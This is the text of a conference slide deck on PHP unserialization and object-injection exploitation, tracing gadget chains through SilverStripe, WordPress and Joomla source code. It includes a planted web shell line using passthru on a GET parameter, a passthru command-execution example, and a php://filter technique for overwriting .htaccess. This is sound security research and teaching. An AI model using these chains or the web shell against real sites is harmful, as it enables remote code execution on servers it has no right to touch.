SlideShare a Scribd company logo
1 of 113
Download to read offline
© Pentest Limited 2015 - All rights reserved
PHP unserialization vulnerabilities:
What are we missing?
Sam Thomas
PHP unserialization vulnerabilities?
Slowly emerging class of vulnerabilities
(PHP) Object Injection
• An application will instantiate an object based on user input
• Unserialization
• “new” operator (see blog.leakfree.nl - CVE-2015-1033 - humhub)
SilverStripe Changelogs 2.4.6
(2011-10-17)
Security: Potential remote code execution through
serialization of page comment user submissions.
2009
• Stefan Esser - POC - Shocking News In PHP Exploitation
2010
• Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits
2011
2012
2009
• Stefan Esser - POC - Shocking News In PHP Exploitation
2010
• Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits
2011
2012
2013
• Arseny Reutov - Confidence Krakow - PHP Object Injection revisited
• Egidio Romano - JoomlaDay Italy - PHP Object Injection in Joomla...questo sconosciuto
2014
• Tom Van Goethem - Positive Hack Days - PHP Object Injection Vulnerability in WordPress: an Analysis
• Johannes Dahse - ACM CCS - Code Reuse Attacks in PHP: Automated POP Chain Generation
2015
• Egidio Romano - Security Summit - PHP Object Injection Demystified
New exploits for old vulnerabilities
• WordPress - CVE-2013-4338 - 714 days
• Joomla - CVE-2013-1453 - 933 days
• SilverStripe - CVE-2011-4962 - 1409 days
• WordPress plugin
• 30% of ALL ecommerce sites
(builtwith.com)
• Bug fixed June 10 2015
• Same payload as CVE-2013-4338
The vulnerability
unserialize($user_controlled_data)
The fixes
json_decode($user_controlled_data)
or
unserialize($data, $allowed_class_array)
The exploit technique
Code reuse
ROP POP
ret2libc
Return
Oriented
Programming
Property
Oriented
Programming
Agenda
• What is PHP (un)serialization?
• Why is it exploitable?
• Let’s exploit it!
What is PHP (un)serialization?
serialize — Generates a storable representation of a value
unserialize — Creates a PHP value from a stored representation
1 i:1;
‘foobar’ s:6:”foobar”;
i:1; 1
s:6:”foobar”; ‘foobar’
Primitive types in PHP
scalar
• boolean
• integer
• float
• string
compound
• array
• object
special
• resource
• NULL
Array
Object
public class className
{
private $prop1 = ‘value1’;
protected $prop2 = ‘value2’;
public $prop3 = ‘value3’;
public function meth1()
{
}
}
$x = new className();
Agenda
• What is PHP Unserialization?
• Why is it exploitable?
• Let’s exploit it!
Magic methods
• __construct()
• __destruct()
• __call()
• __callStatic()
• __get()
• __set()
• __isset()
• __unset()
• __sleep()
• __wakeup()
• __toString()
• __invoke()
• __set_state()
• __clone()
• __debugInfo()
Magic methods
• __construct()
• __destruct()
• __call()
• __callStatic()
• __get()
• __set()
• __isset()
• __unset()
• __sleep()
• __wakeup()
• __toString()
• __invoke()
• __set_state()
• __clone()
• __debugInfo()
__wakeup
• Invoked on unserialization
• Reinitialise database connections
• Other reinitialisation tasks
__destruct
• Invoked on garbage collection
• Clean up references
• Finish any unfinished business
• Often interesting things happen here!
__toString
• Invoked when an object is treated as a string:
echo $object;
• Can contain complex rendering methods
__call
Invoked when an undefined method is called
$object->foobar($args)=$object->__call(‘foobar’,$args)
Autoloading
• Applications define a function to deal with unloaded
classes, this is invoked during unserialization
• Either “__autoload” function or any function registered
with “spl_autoload_register”
Weak typing
“PHP does not require (or support) explicit type
definition in variable declaration”
variables (->object properties) can take any value
All functions have variable arguments
foobar() = foobar(null) = foobar(null, null)
Weak typing + variable args
=
Many possible POP chains
Agenda
• What is PHP Unserialization?
• Why is it exploitable?
• Let’s exploit it!
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
SilverStripe 2.4.x – 2.4.6
CVE-2011-4962
(Tim Klein)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
function PostCommentForm() {
…
// Load the users data from a cookie
if($cookie = Cookie::get("PageCommentInterface_Data")) {
$form->loadDataFrom(unserialize($cookie));
}
…
}
Entry point – PageCommentInterface - PostCommentForm
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
function sapphire_autoload($className) {
global $_CLASS_MANIFEST;
$lClassName = strtolower($className);
if(isset($_CLASS_MANIFEST[$lClassName]))
include_once($_CLASS_MANIFEST[$lClassName]);
else if(isset($_CLASS_MANIFEST[$className]))
include_once($_CLASS_MANIFEST[$className]);
}
spl_autoload_register('sapphire_autoload');
Autoloader from core.php
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Possible start points
• 0 x “function __wakeup”
• 5 x “function __destruct”
• MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite,
Zend_Log
public function __destruct() {
if(is_resource($this->handle))
mysql_free_result($this>handle);
}
__destruct #1 - MySQLQuery
function __destruct() {
$this->closeFile();
}
protected function closeFile() {
if($this->fileHandle) fclose($this->fileHandle);
$this->fileHandle = null;
$this->rowNum = 0;
$this->currentRow = null;
$this->headerRow = null;
}
__destruct #2 - CSVParser
public function __destruct()
{
foreach($this->_writers as $writer) {
$writer->shutdown();
}
}
__destruct #5 - Zend_Log
Possible start points
• 0 x “function __wakeup”
• 5 x “function __destruct”
• MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite,
Zend_Log
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
• 8 x “function __call”
• Aggregate, VirtualPage, Object, ViewableData, Form_FieldMap,
TabularStyle, Zend_Cache_Frontend_Class, Zend_Log
function __call($func, $args) {
return call_user_func_array(array(&$this->form, $func), $args);
}
__call #6 – TabularStyle – proxy gadget
public function __call($method, $params)
{
$priority = strtoupper($method);
if (($priority = array_search($priority, $this->_priorities)) !== false) {
$this->log(array_shift($params), $priority);
} else {
…
}
}
public function log($message, $priority)
{
…
$event = array_merge(array('timestamp' => date('c'),
'message' => $message,
'priority' => $priority,
'priorityName' => $this->_priorities[$priority]),
$this->_extras);
…
foreach ($this->_writers as $writer) {
$writer->write($event);
}
}
__call #8 - Zend_Log
Catch all __call gadget
Useful because of what triggers it
$this->anyProperty->anyMethod($anyArgs)
This at any start point will trigger it
public function __call($method, $params)
{
$priority = strtoupper($method);
if (($priority = array_search($priority, $this->_priorities)) !== false) {
$this->log(array_shift($params), $priority);
} else {
…
}
}
public function log($message, $priority)
{
…
$event = array_merge(array('timestamp' => date('c'),
'message' => $message,
'priority' => $priority,
'priorityName' => $this->_priorities[$priority]),
$this->_extras);
…
foreach ($this->_writers as $writer) {
$writer->write($event);
}
}
__call #8 - Zend_Log
Written to file
[19-Aug-2015 19:40:12] Error at line : hi mum
(http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
Written to file
[19-Aug-2015 19:40:12] Error at line : <?php
passthru($_GET[‘c’]); ?>
(http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
403
There is a way
• Using “php://filter/convert.base64-decode/resource=”
• PHP ignores all non base64 characters
• Can be nested
• Use this to write a new .htaccess in a subdirectory
• See Stefan Esser’s Piwik advisory from 2009
Wordpress<3.6.1
CVE-2013-4338
(Tom Van Goethem)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Mathias Bynens
utf8 in mysql ≠ UTF-8
• Only handles up to 3 byte characters
• 4 byte character terminates input like a null-byte poisoning attack
UPDATE table SET column = 'foo𝌆bar' WHERE id = 1;
SELECT column FROM table WHERE id = 1; - returns ‘foo’
Tom Van Goethem
Genius insight
=
We can abuse this to screw with WordPress’
unserialization
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
No autoloader!?
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Possible start points
(get_declared_classes)
• 0 x “function __wakeup”
• 2 x “function __destruct”
• wpdb, WP_Object_Cache
• 1 x “function __toString”
• WP_Theme
public function __destruct() {
return true;
}
__destruct #1 - wpdb
public function __destruct() {
return true;
}
__destruct #2 - WP_Object_Cache
/**
* When converting the object to a string, the theme name is returned.
*
* @return string Theme name, ready for display (translated)
*/
public function __toString() {
return (string) $this->display('Name');
}
public function display( $header, $markup = true, $translate = true ) {
$value = $this->get( $header );
if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
$translate = false;
if ( $translate )
$value = $this->translate_header( $header, $value );
if ( $markup )
$value = $this->markup_header( $header, $value, $translate );
return $value;
}
__toString #1 - WP_Theme
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
/**
* When converting the object to a string, the theme name is returned.
*
* @return string Theme name, ready for display (translated)
*/
public function __toString() {
return (string) $this->display('Name');
}
public function display( $header, $markup = true, $translate = true ) {
$value = $this->get( $header );
if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
$translate = false;
if ( $translate )
$value = $this->translate_header( $header, $value );
if ( $markup )
$value = $this->markup_header( $header, $value, $translate );
return $value;
}
__toString #1 - WP_Theme
/**
* Makes a function, which will return the right translation index, according to
the
* plural forms header
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
$index = (int)($expression);
return ($index < $nplurals)? $index : $nplurals - 1;";
return create_function('$n', $func_body);
}
Endpoint – make_plural_form_function - Translations
WP_Theme __toString display load_textdomain
(l10n.php) load_theme_textdomain load_textdomain
MO import_from_file import_from_reader
Translations set_headers set_header make_plural_form_function
Joomla < 3.03
CVE-2013-1453
(Egidio Romano)
Prior exploits
• 2013 - Egidio Romano
• Arbitrary directory deletion
• Blind SQL injection
• 2014 - Johanne Dahse
• File permission modification
• Directory creation
• Autoloaded local file inclusion – WTF!
The LFI exploit
Abuses a sink I didn’t know about (method_exists)
Requires
• null byte poisoning in include (CVE-2006-7243 – fixed 2010)
• Malformed class name passed to method_exists (fixed 2014)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
public function onAfterDispatch()
{
…
// Get the terms to highlight from the request.
$terms = $input->request->get('highlight', null, 'base64');
$terms = $terms ? unserialize(base64_decode($terms)) : null;
…
}
Entry point - PlgSystemHighlight extends JPlugin
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Autoloader has lots of code
• If the classname starts with the prefix “J”
• Split camelCase at each uppercase letter
• e.g. JCacheController is at /libraries/Joomla/cache/controller.php
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
public function __destruct()
{
// Do not render if debugging or language debug is not enabled
if (!JDEBUG && !$this->debugLang)
{
return;
}
// User has to be authorised to see the debug information
if (!$this->isAuthorisedDisplayDebug())
{
return;
}
…
}
private function isAuthorisedDisplayDebug()
{
…
$filterGroups = (array) $this->params->get('filter_groups', null);
…
}
Starting point - __destruct - plgSystemDebug extends JPlugin
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Next steps
• 33 x “function get”
• JApplicationCli, JApplicationWeb, JCache, JCacheControllerCallback,
JCacheControllerPage, JCacheControllerView, JCacheController,
JCacheStorageApc, JCacheStorageCachelite, JCacheStorageFile,
JCacheStorageMemcache, JCacheStorageMemcached,
JCacheStorageWincache, JCacheStorageXcache, JCacheStorage,
JClientFtp, JGithubGists, JGithubIssues, JGithubPulls, JGithubRefs,
JHttp, JInputFiles, JInput, JLanguage, JObject, JPagination, JRegistry,
JSession, JCategories, JException, JRequest, JViewLegacy, SimplePie
• 4 x “function __call”
• JCacheController, *JDatabaseDriver, *JDatabaseQuery, JInput
/**
* Executes a cacheable callback if not found in cache else returns cached
output and result
*
* @param mixed $callback Callback or string shorthand for a callback
* @param array $args Callback arguments
* @param string $id Cache id
* @param boolean $wrkarounds True to use wrkarounds
* @param array $woptions Workaround options
*
* @return mixed Result of the callback
*
* @since 11.1
*/
public function get($callback, $args = array(), $id = false, $wrkarounds =
false, $woptions = array())
{
…
$result = call_user_func_array($callback, $Args);
…
}
get #4 - JCacheControllerCallback extends JCacheController
call_user_func_array as an endpoint
• Trivial if we control both args:
call_user_func_array(‘passthru’, ’uname –a’)
• Near trivial if we control just first arg:
call_user_func_array(array($object, $method_name),$args)
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
…
}
protected function fetchUrl($path, $page = 0, $limit = 0)
{
// Get a new JUri object using the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('api.username', false))
{
$uri->setUser($this->options->get('api.username'));
}
…
return (string) $uri;
}
get #17 - JGithubGists extends JGithubObject
public function get($property, $default = null)
{
if (isset($this->metadata[$property]))
{
return $this->metadata[$property];
}
return $default;
}
get #24 - JLanguage
api.url=“x:///” + api.username=“arbitrary” ->
$this->fetchUrl(..) = “arbitrary@”
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
…
}
protected function fetchUrl($path, $page = 0, $limit = 0)
{
// Get a new JUri object using the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('api.username', false))
{
$uri->setUser($this->options->get('api.username'));
}
…
return (string) $uri;
}
get #17 - JGithubGists extends JGithubObject
elseif (strstr($callback, '::'))
{
list ($class, $method) = explode('::', $callback);
$callback = array(trim($class), trim($method));
}
…
elseif (strstr($callback, '->'))
{
/*
* This is a really not so smart way of doing this...
…
list ($object_123456789, $method) = explode('->', $callback);
global $$object_123456789;
$callback = array($$object_123456789, $method);
}
JCacheControllerCallback – callback string shorthand
Variable variables
$a = ‘b’
$b = ‘c’
$$a = $($a) = $b = ‘c’
elseif (strstr($callback, '::'))
{
list ($class, $method) = explode('::', $callback);
$callback = array(trim($class), trim($method));
}
…
elseif (strstr($callback, '->'))
{
/*
* This is a really not so smart way of doing this...
…
list ($object_123456789, $method) = explode('->', $callback);
global $$object_123456789;
$callback = array($$object_123456789, $method);
}
JCacheControllerCallback – callback string shorthand
$id = $this->_makeId($callback, $args);
$data = $this->cache->get($id);
if ($data === false)
{
$locktest = $this->cache->lock($id);
…
}
if ($data !== false)
{
$cached = unserialize(trim($data));
$result = $cached['result'];
}
else
{
$result = call_user_func_array($callback, $Args);
}
JCacheControllerCallback – cache and callback logic
• call_user_func_array doesn’t error on a non-existent method
• We can use a proxy gadget to get past the “lock” method
public function __call($name, $arguments)
{
$nazaj = call_user_func_array(array($this->cache, $name), $arguments);
return $nazaj;
}
Proxy gadget - JCacheController – __call
public function get($id, $group = null)
{
$data = false;
$data = $this->cache->get($id, $group);
…
if ($data !== false)
{
$data = unserialize(trim($data));
}
return $data;
}
get #7 - JCacheController
$id = $this->_makeId($callback, $args);
$data = $this->cache->get($id);
if ($data === false)
{
$locktest = $this->cache->lock($id);
…
}
if ($data !== false)
{
$cached = unserialize(trim($data));
$result = $cached['result'];
}
else
{
$result = call_user_func_array($callback, $Args);
}
JCacheControllerCallback – cache and callback logic
There’s nothing to stop us following the same path twice
• On the first pass we globalise $result and retrieve it from the cache
• On the second pass we use $result as the object in the callback
We can now call an arbitrary method on an arbitrary object
public function _startElement($parser, $name, $attrs = array())
{
array_push($this->stack, $name);
$tag = $this->_getStackLocation();
// Reset the data
eval('$this->' . $tag . '->_data = "";');
…
}
protected function _getStackLocation()
{
return implode('->', $this->stack);
}
JUpdate – _startElement
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
500
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
get #17 - JGithubGists extends JGithubObject
Take aways
Developers
• Think very carefully before using this type of function
Testers / Researchers
• Test for and find this type of issue
• Exploit it – it’s fun!
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Questions?

More Related Content

What's hot

OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesChristopher Frohoff
 
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...joaomatosf_
 
Pwning mobile apps without root or jailbreak
Pwning mobile apps without root or jailbreakPwning mobile apps without root or jailbreak
Pwning mobile apps without root or jailbreakAbraham Aranguren
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)CODE WHITE GmbH
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
 
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization BlueHat Security Conference
 
Java Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassJava Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassCODE WHITE GmbH
 
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologiesOWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologiesOWASP
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Aaron Hnatiw
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016bugcrowd
 
Web develop in flask
Web develop in flaskWeb develop in flask
Web develop in flaskJim Yeh
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Christian Schneider
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionSoroush Dalili
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug BountiesOWASP Nagpur
 

What's hot (20)

OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling Pickles
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
 
Pwning mobile apps without root or jailbreak
Pwning mobile apps without root or jailbreakPwning mobile apps without root or jailbreak
Pwning mobile apps without root or jailbreak
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)
Java Deserialization Vulnerabilities - The Forgotten Bug Class (DeepSec Edition)
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
New PHP Exploitation Techniques
New PHP Exploitation TechniquesNew PHP Exploitation Techniques
New PHP Exploitation Techniques
 
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
 
Java Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassJava Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug Class
 
RESTful API - Best Practices
RESTful API - Best PracticesRESTful API - Best Practices
RESTful API - Best Practices
 
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologiesOWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Web develop in flask
Web develop in flaskWeb develop in flask
Web develop in flask
 
Php technical presentation
Php technical presentationPhp technical presentation
Php technical presentation
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 

Viewers also liked

PHP Object Injection Vulnerability in WordPress: an Analysis
PHP Object Injection Vulnerability in WordPress: an AnalysisPHP Object Injection Vulnerability in WordPress: an Analysis
PHP Object Injection Vulnerability in WordPress: an AnalysisPositive Hack Days
 
Object Oriented Exploitation: New techniques in Windows mitigation bypass
Object Oriented Exploitation: New techniques in Windows mitigation bypassObject Oriented Exploitation: New techniques in Windows mitigation bypass
Object Oriented Exploitation: New techniques in Windows mitigation bypassSam Thomas
 
Defending against Java Deserialization Vulnerabilities
 Defending against Java Deserialization Vulnerabilities Defending against Java Deserialization Vulnerabilities
Defending against Java Deserialization VulnerabilitiesLuca Carettoni
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Mail.ru Group
 
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...Christopher Frohoff
 
White box black box & gray box testing
White box black box & gray box testingWhite box black box & gray box testing
White box black box & gray box testingHimanshu
 

Viewers also liked (8)

PHP Object Injection Vulnerability in WordPress: an Analysis
PHP Object Injection Vulnerability in WordPress: an AnalysisPHP Object Injection Vulnerability in WordPress: an Analysis
PHP Object Injection Vulnerability in WordPress: an Analysis
 
PHP Object Injection
PHP Object InjectionPHP Object Injection
PHP Object Injection
 
Object Oriented Exploitation: New techniques in Windows mitigation bypass
Object Oriented Exploitation: New techniques in Windows mitigation bypassObject Oriented Exploitation: New techniques in Windows mitigation bypass
Object Oriented Exploitation: New techniques in Windows mitigation bypass
 
Defending against Java Deserialization Vulnerabilities
 Defending against Java Deserialization Vulnerabilities Defending against Java Deserialization Vulnerabilities
Defending against Java Deserialization Vulnerabilities
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
 
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
 
White box black box & gray box testing
White box black box & gray box testingWhite box black box & gray box testing
White box black box & gray box testing
 
Testing techniques
Testing techniquesTesting techniques
Testing techniques
 

Similar to PHP unserialization vulnerabilities: What are we missing?

What's new in PHP 8.0?
What's new in PHP 8.0?What's new in PHP 8.0?
What's new in PHP 8.0?Nikita Popov
 
Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"Fwdays
 
Preparing for the next PHP version (5.6)
Preparing for the next PHP version (5.6)Preparing for the next PHP version (5.6)
Preparing for the next PHP version (5.6)Damien Seguy
 
Jooctrine - Doctrine ORM in Joomla!
Jooctrine - Doctrine ORM in Joomla!Jooctrine - Doctrine ORM in Joomla!
Jooctrine - Doctrine ORM in Joomla!Herman Peeren
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress DeveloperJoey Kudish
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php confHash Lin
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Orange Tsai
 
Advanced Php - Macq Electronique 2010
Advanced Php - Macq Electronique 2010Advanced Php - Macq Electronique 2010
